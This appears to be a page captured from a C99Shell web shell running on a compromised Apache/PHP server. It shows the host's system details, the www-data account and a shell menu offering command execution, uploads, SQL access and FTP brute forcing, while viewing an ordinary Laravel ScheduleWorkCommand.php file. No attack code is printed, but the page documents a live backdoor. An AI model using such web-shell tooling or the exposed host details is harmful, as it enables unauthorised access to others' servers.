!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/console/Scheduling/   drwxr-xr-x
Free 13.31 GB of 57.97 GB (22.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ScheduleWorkCommand.php (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console\Scheduling;

use 
Illuminate\Console\Command;
use 
Illuminate\Support\Carbon;
use 
Symfony\Component\Console\Attribute\AsCommand;
use 
Symfony\Component\Process\Process;

#[
AsCommand(name'schedule:work')]
class 
ScheduleWorkCommand extends Command
{
    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'schedule:work';

    
/**
     * The name of the console command.
     *
     * This name is used to identify the command during lazy loading.
     *
     * @var string|null
     *
     * @deprecated
     */
    
protected static $defaultName 'schedule:work';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Start the schedule worker';

    
/**
     * Execute the console command.
     *
     * @return void
     */
    
public function handle()
    {
        
$this->info('Schedule worker started successfully.');

        [
$lastExecutionStartedAt$keyOfLastExecutionWithOutput$executions] = [nullnull, []];

        while (
true) {
            
usleep(100 1000);

            if (
Carbon::now()->second === &&
                ! 
Carbon::now()->startOfMinute()->equalTo($lastExecutionStartedAt)) {
                
$executions[] = $execution = new Process([
                    
PHP_BINARY,
                    
defined('ARTISAN_BINARY') ? ARTISAN_BINARY 'artisan',
                    
'schedule:run',
                ]);

                
$execution->start();

                
$lastExecutionStartedAt Carbon::now()->startOfMinute();
            }

            foreach (
$executions as $key => $execution) {
                
$output trim($execution->getIncrementalOutput()).
                          
trim($execution->getIncrementalErrorOutput());

                if (! empty(
$output)) {
                    if (
$key !== $keyOfLastExecutionWithOutput) {
                        
$this->info(PHP_EOL.'['.date('c').'] Execution #'.($key 1).' output:');

                        
$keyOfLastExecutionWithOutput $key;
                    }

                    
$this->output->writeln($output);
                }

                if (! 
$execution->isRunning()) {
                    unset(
$executions[$key]);
                }
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0073 ]--